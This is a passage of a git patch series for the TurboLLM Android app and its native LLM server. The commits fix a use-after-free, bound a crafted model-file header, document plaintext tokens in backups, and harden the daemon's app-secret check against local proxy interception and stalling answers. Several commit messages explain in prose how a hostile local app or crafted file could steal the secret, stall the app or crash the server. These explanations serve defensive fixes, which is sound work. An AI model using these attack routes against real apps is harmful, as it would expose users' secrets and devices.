Node's stdout going to files/daemon.log), not run on a device. --- BUILDING-ENGINES.md | 16 +++++++++++++--- 1 file changed, 13 insertions(+), 3 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 2f8a7a3..3748139 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -126,11 +126,21 @@ adb install composeApp/build/outputs/apk/debug/composeApp-debug.apk adb shell am start -n com.turbollm/com.turbollm.app.MainActivity # then, with NOTHING pushed: adb logcat -d | grep -E "E nodejs|TurboLLM:" -adb forward tcp:7799 tcp:7000 && curl -s http://127.0.0.1:7799/api/v1/engines +adb forward tcp:7799 tcp:7000 && curl -s http://127.0.0.1:7799/healthz # {"status":"ok","version":…} +adb shell "run-as com.turbollm cat files/daemon.log" | grep "registered bundled engine" ``` -Last run of exactly that: daemon booted, UI served HTTP 200, and both engines registered -(`llama-server-android` and `llama-server-android-vulkan`). +Last recorded run (before the app secret, when the check still read `/api/v1/engines`): daemon +booted, UI served HTTP 200, and both engines registered (`llama-server-android` and +`llama-server-android-vulkan`). + +`/api/v1/engines` over the adb forward now answers 401, and that is not a failed boot. The app +starts the daemon with a per-launch secret (`TURBOLLM_APP_SECRET`) that only the app's own +WebView and client carry, so adb, curl and Termux count as another app on the phone and need an +API key like any LAN client. `/healthz` stays open, and the daemon logs one +`android: registered bundled engine …` line per engine to `files/daemon.log`. To query the API +itself, create a key in the app (Customize → Connect → API keys) and send it as +`X-TurboLLM-Auth: `. --- From 53156feb96cd1c3bb151c93187da2845df1a202d Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 17:12:25 +0000 Subject: [PATCH 14/80] fix(litert-lm-server): bad tool call use-after-free; 16 KiB header cap Two fixes in the native server's main.cc. A malformed tool call freed the stream queue while the runtime was still writing to it (older bug, not from this PR). When a request carries `tools` (an agent client using the daemon's OpenAI or Anthropic gateway, or a direct call to the engine port; the app's own chat sends none) and the model writes a block that is not valid JSON (Qwen-family bundles, whose tool calls are unconstrained), LiteRT-LM 0.18.0 reports "INVALID_ARGUMENT: Failed to parse tool calls" as soon as the closing tag streams in, marks it final, and keeps decoding; at least one more callback always follows. The drain loop took that error as the end of the generation and HandleChatCompletions returned without cancelling. The queue was declared after the conversation, so it was destroyed first; deleting the conversation then waited (up to 10 minutes, holding the engine lock) while the runtime kept calling StreamCallback with the freed queue. On a glibc build the runtime thread blocked for good on the freed mutex: the streaming client got response.error and [DONE] but its connection never closed, a non-streaming client got no reply at all, and every later chat request hung while /health still said ok. On Android, locking a destroyed mutex aborts the engine (or the heap is corrupted instead). - The StreamQueue is now declared before the conversation, so it is freed after it. Deleting the conversation waits for its generation to end, so every StreamCallback has returned before the queue goes, whichever chunk was marked final. The StreamGuard comment now says a chunk marked final is not always the last callback. - Every error chunk now cancels the generation first (litert_lm_conversation_cancel_process, once, through the existing `cancelled` flag; a no-op once the generation has ended), so deleting the conversation does not wait for the rest of the turn while the request holds the engine. - The error text is now matched from its start; it is absl::Status::ToString(), code first. A turn ends quietly only on "CANCELLED:", and with finish_reason "length" only on "RESOURCE_EXHAUSTED: Max number of tokens reached". The old search over the whole text (also an older bug) misread parse errors, which quote the model's output: a malformed call such as {"status":"CANCELLED"} passed for a cancelled turn (finish "stop" or a 200, no error, the turn left running), and one quoting the max-tokens text for a length stop. No error the 0.18.0 runtime really sends changes class: a real cancel reads "CANCELLED: Task cancelled", and its max-tokens error starts with "RESOURCE_EXHAUSTED:". The .litertlm header-offset check added earlier in this PR accepted any offset up to the file size. LiteRT-LM 0.18.0 reads the header from the file's first 16 KiB only (kLitertLmHeaderMaxSize), yet first allocates and zeroes header_end - 32 bytes. So an offset between 16 KiB and the file size could never load, but cost an allocation up to the whole file before "Failed to read header data": for a crafted or corrupt multi-GB file on a phone, the bad_alloc-to-terminate crash (or a low-memory kill) the check was meant to stop. A 2 GiB file under a 1.5 GiB memory limit aborted the server. GetOrCreateEngine now also rejects header_end > min(file size, 16 KiB), with the same "invalid .litertlm header" 500 and before the loaded engine is released; header_end <= 32 stays rejected. No loadable file is refused: an offset of exactly 16 KiB still loads, and the runtime fails every larger one itself. The comment no longer says the runtime allocates "unchecked" (it does reject an offset below 32; the allocation is what it leaves unbounded). is now included for std::min. Behaviour change: any error chunk from the runtime now stops the generation. After a malformed tool call the streaming connection closes right after response.error and [DONE], a non-streaming client gets the 500 with the runtime's message, and the next request is served. A parse error that quotes "CANCELLED" or "Max number of tokens reached" is now reported as an error, not as a normal or length stop. A file with a header offset over 16 KiB now gets "invalid .litertlm header" instead of the runtime's "Failed to read header data". No native test harness exists in the repo. Checked with the real liblitert-lm.so 0.18.0 in release and ASan builds: - A sparse 600 MiB file with header_end at its size raised the server's peak RSS from ~150 MB to ~700 MB before the fix and leaves it flat now; the test model (offset 552) still serves streaming and non-streaming requests; the earlier bad-header cases are unchanged. - A shim loaded in front of the real library replays the runtime's sequence over a real generation (a text chunk, the parse error marked final, the remaining real chunks, optionally a second error at the end). Before: ASan reports a heap-use-after-free on the freed queue when the decode thread calls back after the error, in both stream modes, and the release build hangs as above. After: 0 ASan reports, the stream closes in ~0.4 s, non-streaming gets the 500, follow-up requests get 200. - With the shim's error text quoting "CANCELLED" or the max-tokens text, the client used to get "stop" or "length" while the turn ran on (~2.7 s, the next request waiting); it now gets the error and the runtime's next chunk is "CANCELLED: Task cancelled". The real cancel text and a real client disconnect still end quietly. - Concurrent stress mixing injected errors, plain requests and early disconnects, and the earlier normal, stress, error-path and use-after-free runs: server up, 0 ASan reports. NDK 27 builds for arm64-v8a and x86_64 have 0 warnings. Not run with a real model writing a malformed tool call, nor on a device; the bionic outcome is reasoned from its sources. The size still comes from a separate stat() rather than the opened stream, and an in-range offset over junk FlatBuffer bytes still crashes inside the runtime, as before. --- engines/litert-lm-server/src/main.cc | 36 +++++++++++++++++++++------- 1 file changed, 28 insertions(+), 8 deletions(-) diff --git a/engines/litert-lm-server/src/main.cc b/engines/litert-lm-server/src/main.cc index 93e1266..81b0452 100644 --- a/engines/litert-lm-server/src/main.cc +++ b/engines/litert-lm-server/src/main.cc @@ -44,6 +44,7 @@ #include #include +#include #include #include #include @@ -344,9 +345,12 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { if (g_engine.engine && g_engine.key == key) return g_engine.engine; // A .litertlm starts with "LITERTLM", three uint32 versions, 4 bytes of padding and a little-endian uint64 header-end - // offset (the same 32 bytes the daemon's models/litertlm.ts reads). The runtime allocates from that offset unchecked, - // and the std::bad_alloc a bogus one raises crosses the C API into std::terminate, killing the whole server, so the - // offset is bounded here first. Checked before the loaded engine is released, which a bad file then leaves in place. + // offset (the same 32 bytes the daemon's models/litertlm.ts reads). The runtime allocates and zeroes header_end - 32 + // bytes before reading the header, and the std::bad_alloc a bogus offset raises crosses the C API into std::terminate, + // killing the whole server, so the offset is bounded here first. The bound is the runtime's own: it reads the header + // from the file's first 16 KiB only (kLitertLmHeaderMaxSize, LiteRT-LM 0.18.0's litert_lm_loader.h), so a larger + // offset can never load, yet would still cost an allocation up to the file's size (hundreds of MB on a phone). + // Checked before the loaded engine is released, which a bad file then leaves in place. // A file that can't be read or lacks the magic is left to the runtime, which reports it cleanly and more precisely // (e.g. "Permission denied"). { @@ -357,7 +361,8 @@ LiteRtLmEngine* GetOrCreateEngine(const ModelRef& ref, const ModelConfig& mc) { std::memcmp(h, "LITERTLM", 8) == 0; uint64_t header_end = 0; for (int i = 31; i >= 24; --i) header_end = (header_end << 8) | h[i]; - if (ok && (header_end <= 32 || header_end > static_cast(st.st_size))) { + constexpr uint64_t kRuntimeHeaderMaxSize = 16 * 1024; + if (ok && (header_end <= 32 || header_end > std::min(st.st_size, kRuntimeHeaderMaxSize))) { throw HttpError(500, "Failed to load engine: RuntimeError('Failed to create LiteRT-LM engine for " + ref.path + ": invalid .litertlm header')"); } @@ -660,6 +665,8 @@ struct StreamQueue { // StreamCallback from its own thread with a pointer to the queue, so a request that leaves early (an exception while // tokens are still arriving: a malformed tool call, a JSON error) must not free the queue under it. On such an exit // this cancels the generation and waits for the final chunk; if none comes in 30 s the server exits (see below). +// A chunk marked final is not always the last callback (an unparsable tool call is one), so HandleChatCompletions also +// declares the queue before the conversation, whose deletion waits for the generation to end. class StreamGuard { public: StreamGuard(std::unique_ptr& q, LiteRtLmConversation* conv) : q_(q), conv_(conv) {} @@ -1002,6 +1009,11 @@ void HandleChatCompletions(int fd, const Request& req) { L.litert_lm_conversation_config_set_thinking_config(cc, t); L.litert_lm_thinking_config_delete(t); } + // Declared before the conversation so it is freed after it: deleting the conversation waits for its generation to + // end (~SessionAdvanced's WaitUntilDone), and until then the runtime may call StreamCallback with this queue, even + // after a chunk marked final (see the error branch of the drain loop below). + auto q_owner = std::make_unique(); + StreamQueue& q = *q_owner; L.litert_lm_clear_last_error(); std::unique_ptr conv(L.litert_lm_conversation_create(engine, cc)); L.litert_lm_conversation_config_delete(cc); @@ -1023,8 +1035,6 @@ void HandleChatCompletions(int fd, const Request& req) { return p; }; - auto q_owner = std::make_unique(); - StreamQueue& q = *q_owner; std::string msg_str = prompt.dump(); L.litert_lm_clear_last_error(); int rc = L.litert_lm_conversation_send_message_stream(conv.get(), msg_str.c_str(), "{}", oa, StreamCallback, &q); @@ -1084,9 +1094,19 @@ void HandleChatCompletions(int fd, const Request& req) { if (item.final) guard.Finished(); watch_peer(); if (item.is_error) { - if (item.text.find("CANCELLED") != std::string::npos) { + // Not necessarily the end of the generation: the runtime reports a tool call it cannot parse as soon as the + // call's closing tag streams in, marked final, and keeps decoding. Stop it whatever the error is (a no-op once + // the generation has ended), so deleting the conversation below does not wait for the rest of the turn while + // this request holds the engine. + if (!cancelled) { + cancelled = true; + L.litert_lm_conversation_cancel_process(conv.get()); + } + // The text is absl::Status::ToString(), code first. Match from the start: a parse error quotes the model's + // output, which may contain these words. + if (item.text.rfind("CANCELLED:", 0) == 0) { // a cancelled turn ends quietly, as in the Python client - } else if (item.text.find("Max number of tokens reached") != std::string::npos) { + } else if (item.text.rfind("RESOURCE_EXHAUSTED: Max number of tokens reached", 0) == 0) { finish = "length"; } else { error = item.text; From a01449eb7227a158ac9acad6778db424831de5cd Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Thu, 15 Oct 2026 17:12:25 +0000 Subject: [PATCH 15/80] fix(android): document that backups carry plaintext third-party tokens Older bug, not from this PR. Both backup rule files keep everything under files/.turbollm except models, caches and logs, on purpose (chats and settings are meant to survive a restore). That includes the daemon's config.json, which holds every third-party credential the user entered in plaintext: the Hugging Face and GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily and Kagi keys, MCP server keys and env, and the raw Turbo Link peer tokens that grant access to the user's other TurboLLM machines. All of them go to the user's Google cloud backup and to any device-transfer target; only the API keys the daemon issues are stored hashed. This PR's earlier backup-quota fix makes that cloud upload actually happen for anyone with a downloaded model, whose whole backup used to be skipped. Meanwhile play-store-assets/privacy-notes.md still claimed no backup rules file existed. - privacy-notes.md: the stale open item is rewritten to the real state. The rules exist and keep models, caches, logs and the extracted daemon out; chats and config.json, tokens included, are backed up (end-to-end encrypted with the lock-screen credential on Android 9+ when the phone has one) and transferred. It lists the tokens and keeps the choice open for the team before shipping: disclose it, or move the credentials to a file the rules exclude. - data_extraction_rules.xml: the header comment says config.json and its tokens are kept on purpose for now and points at the notes. backup_rules.xml says the same in brief and points at data_extraction_rules.xml. Comments and docs only; what is backed up does not change. Both XML files parse and compileDebugKotlinAndroid passes. The exposure itself is not fixed; it needs an owner decision. Excluding config.json would drop every setting on restore (engines, model folders and presets, MCP servers, agents, issued API keys, Turbo Link pairings, remote-access setup), not just the tokens. Keeping the credentials in a separate, excluded file needs a daemon change and a config migration, and users would re-enter tokens and re-pair links after a restore. --- .../src/androidMain/res/xml/backup_rules.xml | 3 ++- .../res/xml/data_extraction_rules.xml | 5 +++- play-store-assets/privacy-notes.md | 24 +++++++++++-------- 3 files changed, 20 insertions(+), 12 deletions(-) diff --git a/composeApp/src/androidMain/res/xml/backup_rules.xml b/composeApp/src/androidMain/res/xml/backup_rules.xml index 925fe7e..8d953b6 100644 --- a/composeApp/src/androidMain/res/xml/backup_rules.xml +++ b/composeApp/src/androidMain/res/xml/backup_rules.xml @@ -1,5 +1,6 @@ - + diff --git a/composeApp/src/androidMain/res/xml/data_extraction_rules.xml b/composeApp/src/androidMain/res/xml/data_extraction_rules.xml index 15fd926..dfcde25 100644 --- a/composeApp/src/androidMain/res/xml/data_extraction_rules.xml +++ b/composeApp/src/androidMain/res/xml/data_extraction_rules.xml @@ -1,5 +1,8 @@ - + diff --git a/play-store-assets/privacy-notes.md b/play-store-assets/privacy-notes.md index 55c4956..dd46f99 100644 --- a/play-store-assets/privacy-notes.md +++ b/play-store-assets/privacy-notes.md @@ -72,16 +72,20 @@ CURRENTLY CODED; once Firebase is integrated, add a corresponding "app diagnosti `~/.turbollm`-equivalent state (chats, config, downloaded models/engines) lands entirely inside Android's app-private storage — not shared storage, not readable by other apps. -**One open item, not yet resolved in code — flag for the dev team before shipping:** -`AndroidManifest.xml` has `android:allowBackup="true"` with no `dataExtractionRules`/ -`fullBackupContent` exclusion file present. That means Android's own Auto Backup (to the user's -Google account, not to any TurboLLM server) could sweep up the app's private files — including -local chat history — into the user's device backup by default. This is a very different privacy -surface than "nothing ever leaves the device" (it's the user's own Google backup, not a third -party TurboLLM controls, but it's still data leaving the device to *somewhere*). Recommend either -(a) adding a backup-rules XML that excludes the daemon's data directory, or (b) disclosing it -plainly if the team decides the Google-account-only exposure is acceptable. Not fixed here — out -of scope for asset prep — but should not be silently left unaddressed. +**Backups — one open decision for the dev team before shipping:** +`AndroidManifest.xml` has `android:allowBackup="true"` with backup rules +(`res/xml/data_extraction_rules.xml` for Android 12+, `res/xml/backup_rules.xml` before). They keep +models, caches, logs and the extracted daemon out, so Android's own Auto Backup (to the user's +Google account, not to any TurboLLM server; end-to-end encrypted with the lock-screen credential +on Android 9+ when the phone has one) and device-to-device transfer carry the rest of the app's private files: +the chat history and the daemon's settings file, `files/.turbollm/config.json`. That file also +holds, in plaintext, every third-party credential the user has entered: the Hugging Face and +GitHub tokens, the Cloudflare tunnel token, the ngrok authtoken, the Tavily/Kagi search keys, +MCP server keys and env, and the raw Turbo Link peer tokens that grant access to the user's +other TurboLLM machines. (API keys the daemon issues are stored hashed.) None of these are needed +to restore chats. Either disclose it plainly, or keep the credentials out of backups: moving them +to a separate file the rules exclude takes a daemon change and a config migration; excluding +`config.json` itself would also drop every setting on restore. ## Suggested Play Console "Data safety" form answers From 1793522ecbfaba94b8c83635ed6f374710b9fa55 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:06:15 +0000 Subject: [PATCH 16/80] fix(android): app proof and secret never go through a system proxy DaemonAuth opened both of its connections, the app proof and the request carrying X-TurboLLM-App, with URL.openConnection() and no Proxy argument, so both followed the system proxy selector. Android exempts 127.0.0.1 from the system HTTP proxy only when the proxy's bypass list is not empty, and it often is empty: a Wi-Fi proxy's "Bypass proxy for" starts empty, and so does the list of the proxy a VPN app sets with VpnService.Builder.setHttpProxy (ad-blockers and traffic inspectors work this way). When such a proxy is served by an app on the phone (a VPN app the user accepted, a Wi-Fi proxy pointed at a local proxy app, or a device-owner global proxy pointed at one), that app carried both connections. It could pass the nonce on to our daemon, which signs the 127.0.0.1:7000 it was asked on and so proves itself, and then read the next request with the secret in cleartext: the whole API for the life of the process. A remote proxy cannot do this, since it cannot reach the phone's loopback, and an ordinary app cannot set the proxy. From this PR: 8568672 (fix(android): per-launch app secret so other apps can't use the daemon) first sent the header over a plain openConnection(), and the DaemonAuth lines came with ced6bac (fix(android): send the app secret only to a daemon that proves itself). On main there is no secret at all, so this completes that fix rather than fixing a regression from main. DaemonAuth.kt: daemonProven() and open() now call openConnection(Proxy.NO_PROXY), so both connections go straight to the port. The class comment says why. Redirects need no change: only whoever already received the header could send one. Behaviour change: the app's native calls to the daemon (the splash's proof, the EngineService polls, the model unload before a stop, model folders and rescans) never use a system proxy. Behind a remote manual proxy with an empty bypass list the proof used to go to that proxy, which cannot reach the phone's loopback, so the splash never ended (traced, not run); it now reaches the daemon. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real DaemonAuth.kt, compiled with kotlinc 2.2.20 against OkHttp 2.7.5 (the code behind Android's HttpURLConnection, installed as the URL handler) and Android's org.json, with a stand-in daemon whose proof route signs its socket's local address like auth.ts appSecretProof. A ProxySelector sends 127.0.0.1 to an HTTP proxy on loopback that relays every request, as Android's selector does with an empty bypass list. Before the fix the proxy carried all three connections (two proofs and the request), the proof passed and the proxy saw the secret; after it, the proxy gets nothing and the request reaches the daemon directly with the secret. Same result with the JDK's own HttpURLConnection. Without a proxy both versions are proven and their request passes. compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/DaemonAuth.kt | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt index cd10876..90c05f7 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt @@ -3,6 +3,7 @@ package com.turbollm.app import org.json.JSONObject import java.io.IOException import java.net.HttpURLConnection +import java.net.Proxy import java.net.URL import java.security.MessageDigest import java.security.SecureRandom @@ -29,7 +30,13 @@ import javax.crypto.spec.SecretKeySpec * our daemon, on another new connection, proved it held the port. It reaches another app only if the daemon gave the * port up in between, i.e. a LAN-toggle rebind; an app that is still on the port when the daemon binds again makes * the daemon exit (cli.ts), so what is left is an app that binds and lets go inside that gap of a few ms, just as a - * request is made. */ + * request is made. + * + * Both connections also go straight to the port, never through the system HTTP proxy (Proxy.NO_PROXY). Android + * exempts 127.0.0.1 from that proxy only when the proxy's bypass list is not empty, and it often is empty: a Wi-Fi + * proxy's "Bypass proxy for" starts empty, and so does the list of the proxy a VPN app sets with + * VpnService.Builder.setHttpProxy. A proxy app on the phone would then carry both connections: it could pass the + * nonce on to our daemon, which proves itself, and read the request that follows, secret and all. */ object DaemonAuth { private const val BASE = "http://127.0.0.1:$ANDROID_DAEMON_PORT" private val random = SecureRandom() @@ -39,7 +46,8 @@ object DaemonAuth { * the main thread. False on any failure, a daemon still starting included. */ fun daemonProven(): Boolean = try { val nonce = hex(ByteArray(32).also { random.nextBytes(it) }) - val conn = URL("$BASE/api/v1/app-proof?nonce=$nonce").openConnection() as HttpURLConnection + // Proxy.NO_PROXY: to the port itself, not to a proxy that could relay the nonce (class comment). + val conn = URL("$BASE/api/v1/app-proof?nonce=$nonce").openConnection(Proxy.NO_PROXY) as HttpURLConnection conn.instanceFollowRedirects = false // the answer must come from this port, not from wherever it points conn.setRequestProperty("Connection", "close") // a new socket, not left in the pool for open() (class comment) conn.connectTimeout = 1000 @@ -64,7 +72,8 @@ object DaemonAuth { * which every caller already handles as an unreachable daemon. Callers must not override its Connection header. */ fun open(path: String): HttpURLConnection { if (!daemonProven()) throw IOException("no proof from port $ANDROID_DAEMON_PORT that it is our daemon; secret withheld") - return (URL("$BASE$path").openConnection() as HttpURLConnection).apply { + // Proxy.NO_PROXY: the secret goes to the port itself, never through a proxy (class comment). + return (URL("$BASE$path").openConnection(Proxy.NO_PROXY) as HttpURLConnection).apply { // Its own new socket, and none left in the pool for the next proof or request to pick up (class comment). setRequestProperty("Connection", "close") setRequestProperty("X-TurboLLM-App", DAEMON_APP_SECRET) From 485b85f1b038c2120615b80b03890337ff919b2f Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:10:36 +0000 Subject: [PATCH 17/80] fix(android): another app's proof answer can't stall or crash the app daemonProven() reads the answer to its proof request from whoever holds 127.0.0.1:7000, which may be another app until the answer checks out (the reason the proof exists). The request had no overall deadline: connectTimeout and readTimeout apply to each connect and each read, so an answer trickled a byte every 1.5 s never timed out. The body was read whole with readText() and parsed with org.json, which recurses, and only Exception was caught, so OutOfMemoryError and StackOverflowError went through. An app that accepted the proof connection at launch and then let the daemon bind could keep the splash up for as long as it liked (DaemonWebViewScreen waits for the proof) and hang the EngineService poll, whose open() calls daemonProven() too; a multi-MB body or a few hundred KB of "[" crashed the app. It could not get the secret this way (it cannot produce the HMAC), and an app holding the port for more than about 10 s at launch already ends the app (the daemon exits after its bind retries, cli.ts), so this is hardening against a denial of service. From this PR: ced6bac (fix(android): send the app secret only to a daemon that proves itself) replaced the splash's ktor probe, whose HttpTimeout requestTimeoutMillis was a 2 s limit for the whole request. The poll's readText() with catch (Exception) is older (EngineService.queryBusy on main). DaemonAuth.kt, daemonProven(): - A shared one-thread ScheduledThreadPoolExecutor disconnects the connection if the request is still running 3 s after it was opened. disconnect() from another thread closes the socket, which ends the blocked read with an IOException. The task is cancelled when the request ends. - At most 4 KiB of the body is read (the daemon's {"proof":"<64 hex>"} is 76 bytes), and the proof is taken with a regex for "proof":"<64 hex>" instead of a JSON parse, so nothing recurses. org.json is no longer imported. The check itself is unchanged: the proof must equal the HMAC, compared in constant time. - Throwable is caught, so an Error ends as false like any other failure. Behaviour change: a proof request now gives up after about 3 s even while bytes keep arriving, and an answer whose proof is not in its first 4 KiB fails. Our daemon answers in milliseconds with 76 bytes. Tests: there is no Kotlin test harness in this repo, so none is added. Checked on the JVM with the real DaemonAuth.kt, compiled with kotlinc 2.2.20 against OkHttp 2.7.5 (the code behind Android's HttpURLConnection, installed as the URL handler) and Android's org.json. daemonProven() ran on a thread with a 1 MiB stack and a 96 MiB heap, with another listener on the port that either sends the headers and then a body byte every 1.5 s, sends the status line and then a header byte every 1.5 s, streams an endless body, or sends {"a": followed by 200,000 "[". Before the fix the two trickles were still reading after 10 s, the endless body threw OutOfMemoryError out of daemonProven() and the nested one StackOverflowError. After it, each returns false: the trickles in 3.1-3.4 s, the others in under 1 s. With the deadline task made a no-op the trickles still hang. The JDK's own HttpURLConnection gives the same results. Against a stand-in daemon the proof still passes and open() reaches it with the secret, with and without the system proxy of 1793522 (fix(android): app proof and secret never go through a system proxy). compileDebugKotlinAndroid passes. Not run on a device. --- .../kotlin/com/turbollm/app/DaemonAuth.kt | 46 +++++++++++++++++-- 1 file changed, 41 insertions(+), 5 deletions(-) diff --git a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt index 90c05f7..b7ebf4f 100644 --- a/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt +++ b/composeApp/src/androidMain/kotlin/com/turbollm/app/DaemonAuth.kt @@ -1,12 +1,14 @@ package com.turbollm.app -import org.json.JSONObject import java.io.IOException +import java.io.InputStream import java.net.HttpURLConnection import java.net.Proxy import java.net.URL import java.security.MessageDigest import java.security.SecureRandom +import java.util.concurrent.ScheduledThreadPoolExecutor +import java.util.concurrent.TimeUnit import javax.crypto.Mac import javax.crypto.spec.SecretKeySpec @@ -41,9 +43,26 @@ object DaemonAuth { private const val BASE = "http://127.0.0.1:$ANDROID_DAEMON_PORT" private val random = SecureRandom() + // Until its answer checks out, the port's holder may be another app, and nothing it sends may stall or crash us. + // HttpURLConnection's timeouts are per read, so an answer trickled a byte at a time would keep the splash and the + // EngineService poll waiting as long as the sender liked: hence one deadline for the whole request. A huge or + // deeply nested body would run a plain read or a recursive JSON parser out of memory or stack, an Error: hence a + // cap on what is read, a regex rather than a parse, and catching Throwable. The daemon's answer, + // {"proof":"<64 hex>"}, is 76 bytes. + private const val PROOF_DEADLINE_MS = 3000L + private const val PROOF_MAX_BYTES = 4096 + private val PROOF = Regex("\"proof\"\\s*:\\s*\"([0-9a-f]{64})\"") + + /** Ends a proof request still running at PROOF_DEADLINE_MS: disconnect() from another thread closes its socket, + * which ends the read it is blocked in. */ + private val deadlines = ScheduledThreadPoolExecutor(1) { r -> + Thread(r, "DaemonAuth deadline").apply { isDaemon = true } + }.apply { removeOnCancelPolicy = true } + /** True only when our daemon answered a fresh nonce while it held the port (another app may have passed the nonce * on, see the class comment), so a new connection made right after reaches it. Blocking network I/O: never on - * the main thread. False on any failure, a daemon still starting included. */ + * the main thread. False on any failure, a daemon still starting included, and within about PROOF_DEADLINE_MS + * whatever the port's holder sends. */ fun daemonProven(): Boolean = try { val nonce = hex(ByteArray(32).also { random.nextBytes(it) }) // Proxy.NO_PROXY: to the port itself, not to a proxy that could relay the nonce (class comment). @@ -52,9 +71,13 @@ object DaemonAuth { conn.setRequestProperty("Connection", "close") // a new socket, not left in the pool for open() (class comment) conn.connectTimeout = 1000 conn.readTimeout = 2000 + val deadline = deadlines.schedule(Runnable { conn.disconnect() }, PROOF_DEADLINE_MS, TimeUnit.MILLISECONDS) try { conn.responseCode == 200 && run { - val proof = JSONObject(conn.inputStream.bufferedReader().use { it.readText() }).optString("proof") + // Only the first PROOF_MAX_BYTES, and matched as text rather than parsed: nothing the port's holder + // sends can grow the heap or the stack (comment at PROOF_DEADLINE_MS). + val body = conn.inputStream.use { readAtMost(it, PROOF_MAX_BYTES) } + val proof = PROOF.find(body)?.groupValues?.get(1).orEmpty() // The daemon's message (appSecretProof): the address and port it was asked on, then the nonce. val mac = Mac.getInstance("HmacSHA256") mac.init(SecretKeySpec(DAEMON_APP_SECRET.toByteArray(), "HmacSHA256")) @@ -62,10 +85,11 @@ object DaemonAuth { MessageDigest.isEqual(want.toByteArray(), proof.toByteArray()) // constant time } } finally { + deadline.cancel(false) conn.disconnect() } - } catch (_: Exception) { - false + } catch (_: Throwable) { + false // an Error too: no answer from the port may crash the app (comment at PROOF_DEADLINE_MS) } /** A connection to [path] on the daemon carrying the secret, opened only once [daemonProven]. Throws otherwise, @@ -80,5 +104,17 @@ object DaemonAuth { } } + /** Up to [max] bytes of [input] as text; whatever follows is never read. */ + private fun readAtMost(input: InputStream, max: Int): String { + val buf = ByteArray(max) + var n = 0 + while (n < max) { + val got = input.read(buf, n, max - n) + if (got < 0) break + n += got + } + return String(buf, 0, n, Charsets.UTF_8) + } + private fun hex(bytes: ByteArray) = bytes.joinToString("") { (it.toInt() and 0xff).toString(16).padStart(2, '0') } } From 5ddf02f27a1dabdb19ad172d26cf6b1c28407cf7 Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:11:01 +0000 Subject: [PATCH 18/80] fix(android): say the engine log line comes only on a clean first launch BUILDING-ENGINES.md said the daemon logs one "android: registered bundled engine" line per engine to files/daemon.log, as if every boot did. seed.ts logs it only when it first registers an engine. Later boots log "refreshed bundled engine" (LiteRT-LM, path or version changed), "repaired stale engine path" (llama-server, path changed) or nothing, and native-lib.cpp truncates daemon.log each time Node starts. The release check itself is right: it uninstalls first and confirms the package is gone, and HOME is filesDir, so its grep always runs on a first registration. But a maintainer running the grep on a phone that already had the app would find nothing and could take that for missing engines. From this PR: 0af73e3 (fix(android): release check no longer ends on a 401 from /api/v1/engines) added the grep and the sentence. The sentence now says the line appears on the first launch after a clean install, as in the procedure above, what later boots log instead, that daemon.log is truncated on each Node start, and that an empty grep on a phone that already had the app does not mean the engines are missing. The grep is unchanged. Docs only. Checked against seed.ts (the three log lines), native-lib.cpp (O_TRUNC on the log) and MainActivity (HOME). --- BUILDING-ENGINES.md | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/BUILDING-ENGINES.md b/BUILDING-ENGINES.md index 3748139..a14141a 100644 --- a/BUILDING-ENGINES.md +++ b/BUILDING-ENGINES.md @@ -137,10 +137,14 @@ booted, UI served HTTP 200, and both engines registered (`llama-server-android` `/api/v1/engines` over the adb forward now answers 401, and that is not a failed boot. The app starts the daemon with a per-launch secret (`TURBOLLM_APP_SECRET`) that only the app's own WebView and client carry, so adb, curl and Termux count as another app on the phone and need an -API key like any LAN client. `/healthz` stays open, and the daemon logs one -`android: registered bundled engine …` line per engine to `files/daemon.log`. To query the API -itself, create a key in the app (Customize → Connect → API keys) and send it as -`X-TurboLLM-Auth: `. +API key like any LAN client. `/healthz` stays open, and on the first launch after a clean +install, as in the procedure above, the daemon logs one `android: registered bundled engine …` +line per engine to `files/daemon.log`. Only that launch registers them: later boots log +`android: refreshed bundled engine …` or `android: repaired stale engine path …` for an engine +whose path or version changed and nothing for the others, and `daemon.log` is truncated each +time Node starts. So on a phone that already had the app, an empty grep does not mean the +engines are missing. To query the API itself, create a key in the app (Customize → Connect → +API keys) and send it as `X-TurboLLM-Auth: `. --- From 729228b4944727dab3fa2682758f7df0f89c137d Mon Sep 17 00:00:00 2001 From: ciroprogamer86 <132161765+ciroprogamer@users.noreply.github.com> Date: Fri, 16 Oct 2026 09:21:03 +0000 Subject: [PATCH 19/80] fix(litert-lm-server): error replies no longer race the decode thread When the runtime reports an error in the middle of a turn (a malformed tool call: LiteRT-LM 0.18.0 sends "INVALID_ARGUMENT: Failed to parse tool calls" marked final and keeps decoding), HandleChatCompletions cancels the generation, leaves the drain loop and then called UsageAndTimings before it looked at the error. That copies the session's BenchmarkInfo (litert_lm_conversation_get_benchmark_info -> SessionAdvanced::GetBenchmarkInfo, under the session's own mutex only) while the decode thread, which the cancel has only asked to stop, may still be writing it with no lock: TimeMarkDelta on every step, and TimeDecodeTurnEnd (a vector emplace_back) plus SetProfileSummary once it sees the cancel. That is 